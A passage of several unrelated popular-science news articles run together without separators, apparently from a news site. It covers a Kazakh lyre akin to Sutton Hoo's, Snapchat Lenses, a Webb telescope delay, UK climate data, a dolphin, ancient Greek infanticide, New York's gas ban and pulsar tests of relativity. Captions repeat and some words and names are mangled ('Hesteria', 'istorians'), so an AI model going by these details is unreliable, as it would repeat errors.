Kazakhstan, by archaeologist Dr Azilkhan Tazhekeevat, identified blocks of wood found in 1973 to be a musical instrument, with further analysis confirming it as a 4th century CE lyre. It is the same type of lyre as the one found as part of the Sutton Hoo ship burial, but dates three centuries earlier than the Sutton Hoo lyre, the researchers explained. A study of the Kazakhstan lyre, and comparison to other instruments of the time, was carried out by independent researcher, Dr Giermund Kolltveit from Norway. He believes that, as the Kazakh and English lyres are distinct from the classical era Mediterranean types, they may have originated in the east and travelled west to Europe along the Silk Road, or it could have happened in the other direction. An Anglo-Saxon Lyre, found as part of the Sutton Hoo medieval ship burial (right), has a cousin more than 2,400 miles away in Kazakhstan (impression, left), according to archaeologists. ABOUT SUTTON HOO Located near Woodbridge, Suffolk, Sutton Hoo is home to two burial mounds from the 6th and 7th centuries the latter a ship burial. The undisturbed burial site is believed to have been the resting place of King Rdwald of East Anglia. The vessel is oft dubbed a a 'ghost ship' thanks to how only its iron rivets and impressions of timber remained. Within the ship, however, archaeologists in 1939 found a ceremonial helmet, a shield, a sword, pieces of silver plate from the Byzantine Empire and metalwork fittings made of gold and gems. The Sutton Hoo artefacts are now housed in the collections of the British Museum, London, while the mound site is in the care of the National Trust. The discovery of Sutton Hoo was recently dramatized in the Netflix historical drama 'The Dig'. Advertisement The discovery of the Kazakh lyra only came about thanks to researchers taking a new look at excavations from the 1930s to mid 1990s - during the Soviet era. In 1973, these excavations found a series of wooden objects from a medieval settlement in the Dzhetyasar territory, southwest Kazahkstan and the archeologists of the time had no way to identify them further. While Dr Tazhekeev was able to confirm them as a musical instrument, this study confirmed it to be a lyre - and one that matches the Sutton Hoo burial. 'I was stunned by the instrument's resemblance to lyres from Western Europe, known from the same period,' said Dr Kolltveit. This type of lyre is long and shallow with a single-piece soundbox that has parallel sides and a curved bottom, differing from classic lyres. When the lyre from Sutton Hoo was found in the 1930s it was initially identified not as a lyre, but a small harp, because of its differences. Since then more lyres like it have been found, such as an almost intact example from Trossingen, Germany, confirming there was a unique style of lyre in the region. Other finds suggest this type of lyre may predate the Romans, although most examples are from the early medieval period like the instrument from Sutton Hoo. 'Until now, lyres of this typefamously known from the Sutton Hoo ship burial and the warrior grave in Trossingen, Southern Germanyare not known outside Western Europe at all,' said Dr Kolltveit. 'As such, the identification of strikingly similar instrument 4,000 km away is groundbreaking news.' The lyre from Dzhetyasar has a matching soundbox, arms, and crossbar to its western cousins. Dating to around the 4th century CE, it also fits within the time frame of the northern European lyre. '[If] it had been discovered in an Anglo-Saxon cemetery, or indeed anywhere else in the West, the Dzhetyasar lyre would not have seemed out of place,' Dr Kolltveit said. A re-analysis of finds from Soviet-era archaeological digs in Dzhetyasar, Kazakhstan, by archaeologist Dr Azilkhan Tazhekeevat, identified blocks of wood found in 1973 to be a musical instrument, with further analysis confirming it as a 4th century CE lyre It is the same type of lyre as the one found as part of the Sutton Hoo ship burial, but dates three centuries earlier than the Sutton Hoo lyre, the researchers explained Despite being found thousands of miles from the Sutton Hoo version, it could help tackle questions that have long remained over this lyre type. This includes where it originates, the musical tradition it belongs to and whether it is unique to Northern Europe. Dzhetyasar is an important site on the Silk Road, the trade route connecting east and west, raising the possibility that the lyre travelled along this route. There is suggestion the lyre style could have reached Byzantium, the Levant, or even further east than Kazahkstan. 'I hope that we can cooperate with Kazakh archaeologists and bring together a team for a thorough study of this single instrument, said Dr Kolltveit. He added that 'we still don't fully understand' the instrument a technological point of view. The researcher said that future re-analysis of Soviet- era digs could help flesh out the history of this instrument, and others from the time. The Sutton Hoo lyre may have a much deeper, more global history than anyone expected, hinting at a more interconnected musical world in the medieval period. The findings have been published in the journal Antiquity. Since launching back in 2015, Snapchat's filters - or 'Lenses', as it calls them have become one of the most popular features on the app. While the original flower crown and puppy dog ears are likely Snapchat's most well-known Lenses, it seems that other filters have risen to the top this year. Snapchat has exclusively revealed to MailOnline the five most popular Lenses in the UK in 2021. Big Mouth topped the list, with 24.7 million Brits choosing to augment their mouths to look larger. Other popular filters included Broccoli, which transforms your face into a cartoon head of broccoli, and 3D Cartoon, which shows you as a cartoon character. A Snapchat spokesperson said: 'In the UK, Brits were constantly using Lenses to help express themselves when keeping in touch with their friends. 'Lenses were viewed billions of times in 2021, here are some of the most popular and some of our most memorable ones.' Snapchat's Big Mouth Lens topped the list, with 24.7 million Brits choosing to augment their mouths to look larger Most popular Lenses in the UK in 2021 1. Big Mouth - 24.7 million users 2. Happy Face - 21.2 million users 3. Broccoli - 18.96 million users 4. 3D Cartoon - 17.2 million users 5. Angry Face - 16.6 million users Advertisement In total, the top five lenses in the UK were viewed more than four billion times, according to Snapchat. The fourth most popular Lens in the UK this year was Snap's 3D Cartoon Lens, which was used by 17.2 million users. The filter uses machine learning to transform your face, giving you anime-like features and an ultra smooth cartoon complexion. Meanwhile, the Happy Face and Angry Face lenses were also in the top five list of the most popular Lenses in the UK in 2021. The figures were released as part of Snapchat's 'Lens on 2021' report. In the report, Snap said: 'With over 6 billion plays per day on average, Lenses offer a unique window into the years cultural moments, achievements in AR innovation, and trends that made a lasting impact. 'Join us as we celebrate our community and the 2021 Lenses that revolutionized the way Snapchatters create, explore, learn, and play.' Broccoli, which, somewhat unsurprisingly transforms your face into a head of broccoli, was used by 19 million Brits this year One of the most popular Lens in the UK this year was Snap's 3D Cartoon Lens, which was used by 17 million users The report showcases many of the viral lenses that took the world by storm in 2021. After an image of Bernie Sanders in a folding chair at Joe Biden's inauguration became a global meme, Snapchat launched a hilarious filter that allowed users to place Sanders and his folding chair around their homes, using augmented reality. And after the launch of Netflix's hit show Squid Game, a filter that transformed users into a mask-clad guard also went viral on Snapchat. The Happy Face and Angry Face lenses were also among the most popular Lenses in the UK in 2021 The report also highlights innovations introduced in 2021, including AR shopping filters. Brands including Prada, MAC Cosmetics and Farfetch Off-White all now have Lenses on Snapchat that allow customers to 'try before they buy.' 'AR is the future of shopping it can help visualize not just how a pair of sunglasses looks, but how it looks on you,' Snap said. 'Going beyond todays online 2D shopping experience, AR makes trying on clothes completely custom. 'From Prada to MAC Cosmetics, there are so many ways to express your style and get your hands on the most covetable items of the year.' Snapchat added: 'Every day, people use Snapchat to express themselves, live in the moment, and learn about the world around them and 2021 was no different. 'Lenses inspire our community, help them connect with their closest friends, and discover endless possibilities through our Camera.' The launch of the James Webb Space Telescope has been delayed yet again due to a communication problem, NASA has said. The $10 billion telescope, jointly developed by NASA, the European Space Agency, and the Canadian Space Agency, was set to launch next Wednesday, December 22. But a fresh issue, described in a brief update by NASA on Tuesday, pushes back the launch date to 'no earlier than' Christmas Eve. More information about the anticipated December 24 launch will be available later this week, officials said. When it eventually blasts off into space from the Guiana Space Centre, James Webb will study the history of exoplanets and the origins of the universe's first stars. The orbiting infrared observatory is designed to be about 100 times more powerful than its predecessor, the Hubble Space Telescope. In this photo dated Saturday, December 11, NASA's James Webb Space Telescope is secured on top of the Ariane 5 rocket that will launch it to space from Europe's Spaceport in French Guiana RECENT JAMES WEBB DELAYS July 16, 2020: From March 2021 to October 31, 2021 September 8, 2021: From October 31, 2021 to December 18 November 22, 2021: From December 18 to December 22 December 14, 2021: From December 22 to December 24 Advertisement James Webb has been developed at a cost of $8.8 billion (6.6 billion), with operational expenses projected to bring its total price tag to about $9.66 billion (7.2 billion), according to Reuters. It will launch on an Arianespace Ariane 5 rocket from Kourou, a town in French Guiana, South America, the location of Guiana Space Centre. 'The James Webb Space Telescope team is working a communication issue between the observatory and the launch vehicle system,' NASA said in the update. 'This will delay the launch date to no earlier than Friday, December 24. 'We will provide more information about the new launch date no later than Friday, December 17.' Before the December 22 launch date was set, the James Webb telescope had been due to launch on December 18, but 'an incident' during launch preparations pushed this back by four days. Numerous other delays have plagued the telescope's construction and testing history. The James Webb Space Telescope began development in 1996 and was originally envisaged to launch in 2007 as a successor to Hubble, which is still active. After its arrival in the final assembly building, Webb was slowly hoisted nearly 130 feet and then perfectly aligned on top of the Ariane 5, after which technicians bolted Webb's launch vehicle adapter down to the rocket. NASA announced Tuesday, December 14 that next week's launch of its new space telescope is delayed for at least two days because of a communication problem between the observatory and the rocket Attaching the telescope to Ariane 5 was 'one of the most delicate operations during the entire launch campaign for Webb In October, James Webb finally arrived in French Guiana following a 16-day sea voyage onboard the MN Colibri, and was removed from the transport container prior to recent launch preparations. Fuelling operations began on November 25, according to NASA, and took about 10 days. The space telescope was then secured on top of the Ariane 5 rocket last Saturday, December 11, at the Guiana Space Centre. 'After its arrival in the final assembly building, Webb was slowly hoisted nearly 130 feet and then perfectly aligned on top of the Ariane 5, after which technicians bolted Webb's launch vehicle adapter down to the rocket,' NASA said in an earlier update. This attachment stage was 'one of the most delicate operations during the entire launch campaign for Webb', NASA added. A custom shower curtain' installed between the two platforms where technicians worked to connect Webb to its launch vehicle, served as the walls of a clean room to keep the observatory dirt-free on Saturday Engineers unpack, clean and prepare the James Webb Space Telescope ahead of its scheduled launch into orbit, upon its arrival at the launch site in Kourou, French Guiana, as seen in this NASA image released on November 2, 2021 An artist's impression of the James Webb Space Telescope folded in the Ariane 5 rocket after launch from Europe's Spaceport in French Guiana INSTRUMENTS ON THE JAMES WEBB SPACE TELESCOPE NIRCam (Near InfraRed Camera) an infrared imager from the edge of the visible through the near infrared NIRSpec (Near InfraRed Spectrograph) will also perform spectroscopy over the same wavelength range. MIRI (Mid-InfraRed Instrument) will measure the mid-to-long-infrared wavelength range from 5 to 27 micrometers. FGS/NIRISS (Fine Guidance Sensor and Near Infrared Imager and Slitless Spectrograph), is used to stabilize the line-of-sight of the observatory during science observations. Advertisement When it does finally launch, James Webb will explore every phase of cosmic history from within our solar system to the most distant observable galaxies in the early universe, 'and everything in between'. Webb should reveal new and unexpected discoveries, and help humanity understand the origins of the universe and our place in it. One of the objectives is to look back in time over 13.5 billion years to see the first stars and galaxies that formed, a few hundred million years after the Big Bang. Webb mainly will look at the universe in the infrared, while Hubble has examined it since its 1990 launch primarily at optical and ultraviolet wavelengths. Webb has a much bigger light-collecting area, letting it look at greater distances, and therefore further back into time than Hubble. NASA likes to think of James Webb as a successor to Hubble rather than a replacement, as the two will work in tandem for a while. About 28 minutes after its eventual blast-off, the James Webb will detach from its launch vehicle and begin 'the most complex sequence of deployments ever attempted in a single space mission,' NASA said. It is so large it will fold, origami-style, to fit in the rocket, according to NASA, and unfurl 'like a Transformer' in space. James Webb is seen as an upgrade to the Hubble telescope, and is 100 times more powerful. It is so large it will fold, origami-style, to fit in the rocket, NASA says, and will unfurl 'like a Transformer' in space In this Saturday, December 11, 2021 photo, NASA's James Webb Space Telescope is secured on top of the Ariane 5 rocket that will launch it to space from Europe's Spaceport in French Guiana It will travel to an orbit about one million miles away from Earth and undergo six months of commissioning in space including unfolding its mirrors and sunshield, cooling down, aligning and calibrating. 'Astronomers worldwide will then be able to conduct scientific observations to broaden our understanding of the universe,' NASA says. The telescope is named after the late James E. Webb, an American government official who was the administrator of NASA from 1961 to 1968 and played an integral role in the Apollo program. NASA's decision to name the device after him was a controversial one he has been accused of homophobia since his passing in 1992 due to his role in the 1963 firing of a gay NASA employee. In this dreary winter weather it may seem like we have more rainy days in Britain than we used to. But although new research by the Met Office has confirmed this to be the case, there is also now more sunshine in the North East. Analysis comparing two 30-year periods 1961-1990 and 1991-2020 reveals the average temperature of the UK has increased by 1.44F (0.8C), rainfall by 7.3 per cent, and sunshine by 5.6 per cent. Average temperatures that were previously limited to London and parts of the far south of England are now being felt as much as 155 miles further north, Met Office experts said. North-east and eastern England saw the greatest annual increase in sunshine, with a rise of more than 13 per cent, while the number of days of air frost, when the air temperature drops below 0C, has reduced by 11.1 days on average. Analysis comparing two 30-year periods 1961-1990 and 1991-2020 reveals the average temperature of the UK has increased by 1.44F (Tynemouth Longsands beach is pictured) WHICH PARTS OF THE UK HAVE SEEN THE BIGGEST INCREASES IN TEMPERATURE, RAIN AND SUNSHINE? Temperature The biggest temperature rises have been in parts of central and eastern England. Areas such as Bedfordshire and Leicestershire have seen average conditions warm by more than 1.8F (1C), while Scotland and Northern Ireland have risen by around 1.26F (0.7C). Rainfall Argyll and Bute has seen average annual rainfall increase by more than 7.9 inches (200mm), the biggest increase by volume. The number of rainy days when 1mm or more rainfall is recorded has increased by an average of 5.6 days. The biggest increases were in Scotland, with Glasgow racking up an extra 12 days with rainfall recorded on average. Sunshine North-east and eastern England saw the highest yearly rise in sunshine, with an increase of over 13 per cent. Advertisement Average rainfall increased by more than 10 per cent between the two periods across a large swathe of Scotland, as well as parts of south-west England, Wales and Northern Ireland. Argyll and Bute has seen average annual rainfall increase by more than 7.9 inches (200mm), the biggest increase by volume, while South Yorkshire saw the smallest rise, of just over 0.5 inches (14mm) per year. The number of rainy days when 1mm or more rainfall is recorded has also increased by an average of 5.6 days. Glasgow now endures an extra 12 days with rainfall recorded on average, compared with just one day in Cambridgeshire. The biggest rises in temperature have been in parts of central and eastern England. Areas such as Bedfordshire and Leicestershire have seen average conditions warm by more than 1.8F (1C), while Scotland and Northern Ireland have risen by around 1.26 F (0.7C). Higher temperatures are being felt further north than they used to be, so Hull has been warmer on average between 1991 and 2020 than Heathrow, west London, was in the previous 30 years. The 30-year 'averaging' periods are used as a benchmark against which observational records of weather and climate can be compared, and which can be used as context for future climate projections. The analysis looking over 60 years comes as the Met Office published information from the latest 30-year period, 1991-2020, which ended on December 31 last year and will now be used as the benchmark for routine climate monitoring from January. Mark McCarthy, head of the Met Office National Climate Information Centre, which manages the UK's climate records, said: 'The publication of climate data from the latest 30-year period is a perfect opportunity to describe some of the changes taking place in UK climate over the last six decades. Climate change has increased rainfall across the UK with Glasgow enduring an extra 12 days of rain a year compared with 60 years ago, the Met Office has revealed (stock) 'The result of human-induced climate change in the UK is that higher temperatures are felt further north than they used to be. 'Examining the pattern of climate change across the UK reveals an interesting pattern of regional variation. 'Over the periods, rainfall has generally increased with the greatest increases in the north and west. 'Average temperature has increased most in inland counties to the north of London, while sunshine has increased most in the north east of England. 'Much of what we are seeing at a local scale fits the national and international picture. 'It has long been known that the atmosphere has been warming a reduction in days of air frost can also be anticipated in a warming climate.' A Risso's dolphin has been filmed performing an unusual underwater 'headstand', leaving wildlife experts wondering what it was up to. The dolphin was spotted doing the manoeuvre suspended vertically with its nose down, fully underwater and rotating slowly thanks to drone footage being used to survey the marine mammals off the Isle of Lewis in Scotland. Conservationists say that while there have been sightings of the species 'headstanding' in other parts of the world, those dolphin had their tails out of the water and they have never seen a fully submerged headstand before. The dolphin was spotted doing the manoeuvre suspended vertically with its nose down, fully underwater and rotating slowly thanks to drone footage being used to survey the marine mammals off the Isle of Lewis in Scotland Why was the dolphin doing a 'headstand'? While the reason for the manoeuvre remains unclear, researchers suggest the dolphin may have been listening for the calls of other creatures in the water. Whale and Dolphin Conservation (WDC) researcher Nicola Hodgins said: 'We've never seen this behaviour before and we don't really know what it's doing. We've got some guesses as to what it could be. 'It could be the fact that it's listening, just slowly listening out, and maybe that's one of the best ways if your head's at the surface of the water you're not going to hear as much as you would if you're a couple of metres down.' Or 'it could just be chilling and having a couple of seconds' peace and quiet', she suggested. Advertisement Whale and Dolphin Conservation (WDC) researcher Nicola Hodgins said they did not know why the animal had been behaving in this way, though one theory is that it could have been listening for the calls of other creatures in the water. Ms Hodgins, who is also policy manager for the charity, said it shows how little is known about the social and cultural lives of the mammals. She said it is important to study their behaviour to understand their needs and requirements in order to better protect them and their habitat. WDC has been monitoring the population of Risso's dolphins, photographing their dorsal fins which are as unique as fingerprints, off the coast of Lewis for more than a decade. The team from the charity use non-invasive techniques to study the dolphins, recording individuals from boats at a distance. This year, they used a drone as part of their surveying with footage capturing the never-before-seen underwater headstanding of the dolphin, which is thought to be at least 20 years old and was on its own at the time. Ms Hodgins said: 'We've never seen this behaviour before and we don't really know what it's doing. We've got some guesses as to what it could be. 'It could be the fact that it's listening, just slowly listening out, and maybe that's one of the best ways if your head's at the surface of the water you're not going to hear as much as you would if you're a couple of metres down.' Or 'it could just be chilling and having a couple of seconds' peace and quiet', she suggested. 'I did a bit of research, and tried to find out if this behaviour had been seen anywhere else. 'There is a term known as 'headstanding' which has been seen in some Risso's dolphins, in the Mediterranean for example, but in all of those occasions the animal is half-in, half-out of the water. While the reason for the manoeuvre remains unclear, researchers suggest the dolphin may have been listening for the calls of other creatures in the water 'It's fascinating to think there's behaviours and they've got an entire social life we know so little about.' The researchers are starting to piece together some information about their social life, she said, because having photographed them since 2010 she can recognise individuals and which others they spend time with. But Ms Hodgins said there are no population estimates for the animals around the UK, or around Scotland. The project that started in 2010 aims to gather as much information about the unusual-looking species which get whiter with age as a result of scars caused by other Risso's and their prey, squid off Lewis. The project that started in 2010 aims to gather as much information about the unusual-looking species which get whiter with age as a result of scars caused by other Risso's and their prey, squid off Lewis The area is visited by large numbers of mothers and calves, and has an abundance of the Risso's dolphin's staple food of squid and octopus. The evidence gathered led to the designation of a marine protected area at the end of 2020, and WDC now wants to see an effective management plan for the conservation zone. The charity says it does not want to see local fishing such as for lobster curbed in the area, but warns large-scale scallop-dredging is damaging to the habitat. The researchers have also discovered the species has hybridised with bottlenose dolphins and those hybrid offspring are now themselves reproducing. Despite Plutarch's famous legend, ancient Greeks did not regularly practice infanticide to kill off 'weak babies', with the concept put down to myth, according to a new study. The idea of Ancient Greeks setting aside 'weaker' babies started with philosopher Plutarch in his biography Life of Lycurgus, written around 100 CE. However, he was writing about events that supposedly happened 700 years before his time, suggesting the lowborn or deformed were left outside to die. Experts have since taken a closer look at other literary sources, with lead author of a new study into the practice, Debby Sneed, suggesting it was 'pure myth'. Sneed, from California State University, Long Beach, said the concept of infanticide, put forward by Plutarch, has since been used for some 'pretty nefarious ends'. This includes the Nazi's using the Ancient Greek practice as a precedent to justify eugenics, including killing disabled people. The dance of human life or The dance to the music of time, 1638, by Nicolas Poussin (1594-1655), depicts the supposed ancient Greek life, with babies outside Roman infanticide was NOT as common as thought The tiny bones of infants in ancient cemeteries around Britain have given Romans a reputation of being cold and merciless. But researchers using an innovative method of scanning bones have revealed that these bodies were not the victims of vicious infanticide at all. Instead it appears many of the infants were stillborns, buried in cemeteries alongside other adults, suggesting they were mourned by their families. istorians had suggested the infants could have been murdered shortly after birth as an attempt to control family sizes or even to ensure a family had more boys than girls. The results, however, suggest infanticide was not as widespread as previously believed, with many cases actually being stillborn. Advertisement In the new study, published in the journal Hesperia, Sneed argues that the abandonment of disabled infants was not an accepted practice in ancient Greek culture - even if it did happen occasionally. It is almost 2,000 years since the work of Plutarch was published, and his history of the ancient Greek people has been accepted at face value for centuries. 'Scholars have simply assumed disabled children would have been exposed,' Lesley Beaumont, an archaeologist from the University of Sydney, told Science. The new study questions the rhetoric that the ancients were fundamentally different to modern people, and compares them to today's society. The author says that infanticide still happens on occasion in most societies, despite most cultures finding it abhorrent. This, says Sneed, was the same for the ancient Greek people, who protected infants. 'This article confronts the widespread assumption that disability, in any broad and undefined sense, constituted valid grounds for infanticide in ancient Greece,' Sneed wrote in the research paper. 'When situated within their appropriate contexts, the oft-cited passages from Plutarch, Aristotle, and Plato contribute little to our understanding of the reality of ancient Greek practice in this regard,' the author added. Sneed turned to other literary material and archaeological evidence from the time, all of which demonstrates that ancient Greeks took 'extraordinary measures to assist and accommodate infants born with a variety of congenital physical impairments.' 'It was neither legally mandated nor typical in ancient Greece to kill or expose disabled infants, and uncritical (and unfounded) statements to the contrary are both dangerous and harmful,' said Sneed. This was backed up by re-analysis of an archaeological dig from 1931, where the remains of more than 400 infants were found in a well in Athens. The idea of Ancient Greeks setting aside weaker babies started with philosopher Plutarch, in his biography Life of Lycurgus, written around 100 CE. Pictured left is the Marble tombstone of Timarete, right is an Attic red-figure lekythos with the image of Hercules, Dianeira and Hyllos They were mostly a few days old, and matched patterns of infant mortality found in the ancient world, rather than selective infanticide. Other digs in Greece have revealed small, globular ceramic bottles with spouts that may have been used to feed infants with disabilities. They were found in the graves of infants and children under the age of one, rather than older children closer to the age they would have been weaned off milk. There are also figurines and other artwork from the time that show adults with severe cleft palates and other disabilities. 'We have plenty of evidence of people actively not killing infants,' Sneed told Science, 'and no evidence that they did.' The findings have been published in the journal Hesteria. New York City banned the use of natural gas in new buildings on Wednesday, as part of Mayor Bill de Blasio's Green New Deal that aims to reduce the burning of fossil fuels across all five boroughs. The new legislation requires new buildings shorter than seven stories to go electric by January 2024, and taller ones after July 1, 2027. But it has sparked warnings that overreliance on the city's electric power stations could leak to blackouts, and soaring energy bills for consumers. Residents who currently have gas stoves and heaters in their homes will not be impacted unless they relocate to a new building. Supporters see the new law as a big and necessary move in a city where heating, cooling and powering buildings accounts for nearly 70 percent of emissions of carbon dioxide and other heat-trapping gases. While those who oppose it warn the added demand for electricity could lead to more blackouts across the 302 square mile city. However, actually implementing the ban falls to Mayor-elect Eric Adams, who enters office on January 1. Adams once said during a televised election debate that he would not support banning gas in the citys buildings. Scroll down for video New York City has banned the use of natural gas in new buildings on Wednesday, as part of Mayor Bill de Blasio's Green New Deal that aims to reduce the burning of fossil fuels across all five boroughs 'If the largest city in America can take this critical step to ban gas use, any city can do the same,' de Blasio said in a statement following the legislation passing. 'This is how to fight back against climate change on the local level and guarantee a green city for generations to come.' National Grid, which serves nearly two million New Yorkers, is one of the opposing utility companies and shared a testimony last month on the bill. 'We have real concerns that, as envisioned, these (proposals) may result in increased energy costs for customers,' said Bryan Grimaldi, a vice president of National Grid. The company notes that since 1990, it has reduced its 'direct emission by over 70 percent' and its 'low-carbon fuels strategy includes renewable natural gas (RNG) and green hydrogen' options that would not lead to blackouts across New York City. The Real Estate Board of New York cited several new sources of renewable power, like offshore wind, would not be available for years, and is predicting that the city's heavy dependence on fossil fuel electricity would lead to an increase in carbon emissions associated with a switch to electric heat. Mayor de Blasio called for the ban in 2019 stating: 'New York City is leading the nation in our fight against global warming. 'Our new energy code will ensure that buildings - our city's biggest polluters - are held to the highest standard of sustainability and efficiency' 'While we appreciate that the efficient electrification of buildings is an important component of realizing these goals, these policies must be implemented in a way that ensure that New Yorkers have reliable, affordable, carbon-free electricity to heat, cool and power their homes and businesses,' said the group's president, James Whelan, in a statement to E&E News. However, a recent study by the think tank RMI found that this bill would prevent 2.1 million tons of carbon emissions by 2040 and save several hundred million dollars in gas connections for consumers who use only electricity. Mayor de Blasio called for the ban in 2019 stating: 'New York City is leading the nation in our fight against global warming. 'Our new energy code will ensure that buildings - our city's biggest polluters - are held to the highest standard of sustainability and efficiency.' And Ben Furnas, the director of climate and sustainability for the mayor's office, said de Blasio will sign the bill 'enthusiastically,' The New York Times reports. New York City is currently ranks as fourth in the US in the use of natural gas for net generated electricity and at least 57 percent of its energy use is fueled by the fossil fuel. Although the new legislation means New York is now the nation's largest city to enact such a climate-change-fighting policy, the ban is only impacting those moving into new buildings. Con Edison, which provides services to more than three million New Yorkers, supports the ban and building codes to reduce the use of fossil fuels in the city. 'Our electric grid is well-poised to support the transition to heating electrification,' reads Con Edison's testimony. 'Because our system is built to serve our customers' energy use during the hottest summer afternoon (about 13,000 MW) and energy use is currently lower in the winter (about 8,000 MW), many parts of our system can easily support the growth of heating electrification for the coming years. 'We are already looking ahead to future winter peak demands driven by heating electrification as well as higher summer peak demands driven by electric vehicle adoption, electric hot water heaters, dryers and stoves, and economic growth, and are planning system investments that will support that growth.' Other supports of the green deal include BlocPower, a Brooklyn-based company that installs energy-efficient technologies in buildings, and Alloy Development a 44-story building in Brooklyn, which will be New York City's first all-electric residential tower when it opens in 2024. A recent study by the think tank RMI found that this bill would prevent 2.1 million tons of carbon emissions by 2040 and save several hundred million dollars in gas connections for consumers who use only electricity Alloy's chief executive, Jared Della Valle, said in a statement: 'We are living in a climate emergency, and it's time for leaders in government and industry to respond accordingly. 'Banning new natural gas connections will not only significantly reduce new carbon emissions and improve air quality in our neighborhoods it will also make New York City a leader in sustainable development nationally and internationally.' A few dozen other cities, including San Francisco and Seattle, have moved to end gas hookups for heat, hot water and sometimes cooking in at least some new buildings. At the same time, states including Arizona, Oklahoma and Texas have barred cities from doing so, saying that consumers should have their choice of energy sources. In Texas, the effort began before, but gained all the more steam after, a February storm spawned massive power outages that left many households shivering without electricity, heat or drinkable water for days. Einstein has once again been proven right, thanks to the findings of a 16-year-study of a pair of 'extreme stars' known as pulsars, with the results matching what would be expected under his theory of general relativity. General relativity is the best theory of gravity we have come up with so far, but is not compatible with the other fundamental forces, described by quantum mechanics. Scientists are constantly trying to prove all or part of the theory, proposed by Albert Einstein in 1915, to be wrong, as this would 'change physics as we know it'. The latest attempt came from experts at the University of East Anglia and the University of Manchester, who used binary pulsars as a gravity laboratory. Not only did their findings back up Einstein's predictions, but they were able to witness light being delayed by the strong curvature of spacetime caused by gravity. Einstein has once again been proven right, thanks to the findings of a 16-year-study of a pair of 'extreme stars' known as pulsars, with the results matching what would be expected under his theory of general relativity WHAT ARE PULSARS? Pulsars are essentially rotating, highly magnetised neutron stars. These stars are made of matter much more densely packed than normal and which give the entire star a density comparable to an atomic nucleus. The diameter of our sun would shrink to less than 18 miles if it was that dense. These neutron stars also have extremely strong magnetic fields which accelerate charged particles. These give off radiation in a cone shaped beam which sweep across the sky like the light from a lighthouse as the star rotates. When the beam sweeps over earth, it becomes visible as a pulsar, producing light that cycles every few seconds to just a few milliseconds. Their rotational period is so stable that some astronomers use it to calibrate instruments and have proposed using it to synchronise clocks. British astronomer Dame Jocelyn Bell Burnell was the first person to discover a pulsar in 1967 when she spotted a radio pulsar. Since then other types of pulsars that emit x-rays and gamma rays have also been spotted. Advertisement The British researchers were part of an international team looking at the pulsars through seven radio telescopes located around the world. The study, published in the journal Physical Review X, reveals new relativistic effects that, although expected, have now been observed for the first time. Dr Robert Ferdman, from UEA's School of Physics, said that while Einstein's theory of general relativity has proven to be 'spectacularly successful', it isn't the final word. 'More than 100 years later, scientists around the world continue their efforts to find flaws in his theory,' Dr Ferdman said, adding that 'general relativity is not compatible with the other fundamental forces, described by quantum mechanics. 'It is therefore important to continue to place the most stringent tests upon general relativity as possible, to discover how and when the theory breaks down.' Being able to detect a deviation from what Einstein predicted would be considered a 'major discovery' and open the window to a new type of physics. 'And it may help us toward eventually discovering a unified theory of the fundamental forces of nature,' said Dr Ferdman. The study, the most rigorous test yet of Einstein's famous theory, was led by Michael Kramer of the Max Planck Institute for Radio Astronomy in Germany, with support from researchers in ten countries. It involved treating the only known pair of pulsars as a laboratory. Dr Ferdman said: 'A pulsar is a highly magnetised rotating compact star that emits beams of electromagnetic radiation out of its magnetic poles. 'They weigh more than our sun but they are only about 15 miles across - so they are incredibly dense objects that produce radio beams that sweep the sky like a lighthouse. 'We studied a double pulsar, which was discovered by members of the team in 2003 and presents the most precise laboratory we currently have to test Einstein's theory. 'Of course, his theory was conceived when neither these types of extreme stars, nor the techniques used to study them, could be imagined.' The double pulsar consists of two pulsars which orbit each other in just 147 minutes with velocities of about 1 million km/h. with one spinning 44 times per second. The companion is young and has a rotation period of 2.8 seconds. It is their motion around each other which can be used as a near perfect gravity laboratory. General relativity is the best theory of gravity we have come up with so far, but is not compatible with the other fundamental forces, described by quantum mechanics, researchers used seven radio telescopes, including the Lovell Radio Telescope at Jodrell Bank KEY FINDINGS Einstein was right: Five tests of general relativity were carried out as part of this new study. They found that multiple properties of the orbit match the theory, including the rate it rotates. Gravitational waves sap energy: The orbit of the pair of pulsars is shrinking by seven mm every day. This is because they stir up gravitational waves, which are ripples in space time, and these carry energy away from the stars. The pulsars are losing mass: They are slowing down over time and losing rotational energy,, confirming E=MC2. The pulsar is spinning in the direction it orbits: This gives astronomers an insight into how the pulsars formed. They began as neighbouring stars that exploded on after the other and left remnants, and sending them spinning. Advertisement Seven sensitive radio telescopes were used to observe this double pulsar in Australia, the US, France, Germany, the Netherlands and in the UK Prof Kramer said they studied a system of compact stars that make for perfect conditions to test theories in the presence of strong gravitational fields. 'To our delight we were able to test a cornerstone of Einstein's theory, the energy carried by gravitational waves, with a precision that is 25 times better than with the Nobel-Prize winning Hulse-Taylor pulsar, and 1000 times better than currently possible with gravitational wave detectors,' Prof Kramer added. He explained that the observations are not only in agreement with the theory, 'but we were also able to see effects that could not be studied before''. Prof Benjamin Stappers, from the University of Manchester, also involved in this extensive study, said finding the double pulsar system made this research possible. It 'presented us with the only known instance of two cosmic clocks which allow precise measurement of the structure and evolution of an intense gravitational field.' One of the telescopes involved is the Lovell Telescope at the Jodrell Bank Observatory in Manchester, which has been monitoring it every couple of weeks since it was first discovered in 2005. 'This long baseline of high quality and frequent observations provided an excellent data set to be combined with those from observatories around the world.' Prof Ingrid Stairs from the University of British Columbia at Vancouver, who was also involved in the remarkable study, said a pulsar acts like a cosmic lighthouse. 'We follow the propagation of radio photons emitted from a cosmic lighthouse, a pulsar, and track their motion in the strong gravitational field of a companion pulsar. 'We see for the first time how the light is not only delayed due to a strong curvature of spacetime around the companion, but also that the light is deflected by a small angle of 0.04 degrees that we can detect. Scientists are constantly trying to prove all or part of the theory, proposed by Albert Einstein in 1915, to be wrong, as this would 'change physics as we know it' - this study involved a pair of pulsars in orbit around one another Einstein's E = mc equation has been used to create matter from pure light for the first time by smashing ions together at close to the speed of light Albert Einstein's most famous equation, E = mc2, used in the theory of general relativity, has been used to create matter from light, scientists have said in a new study. Researchers from New York's Brookhaven National Laboratory used the Department of Energy's Relativistic Heavy Ion Collider (RHIC), ordinarily used for nuclear physics research, to speed up two gold ions that are positively charged, in a loop. They then accelerated the ions to 99.995 percent the speed of light in two accelerator rings in a near collision, with the ions carrying an electromagnetic field inside of them that shows off 'virtual' photons. The speed of light in a vacuum is 299,792,458 meters (186,282 miles) per second. 'If the speed is high enough, the strength of the circular magnetic field can be equal to the strength of the perpendicular electric field,' Brookhaven Lab physicist Zhangbu Xu said in a statement. The arrangement of the electrical field and the magnetic field allows for the creation of a photon, effectively a 'particle' of light. 'So, when the ions are moving close to the 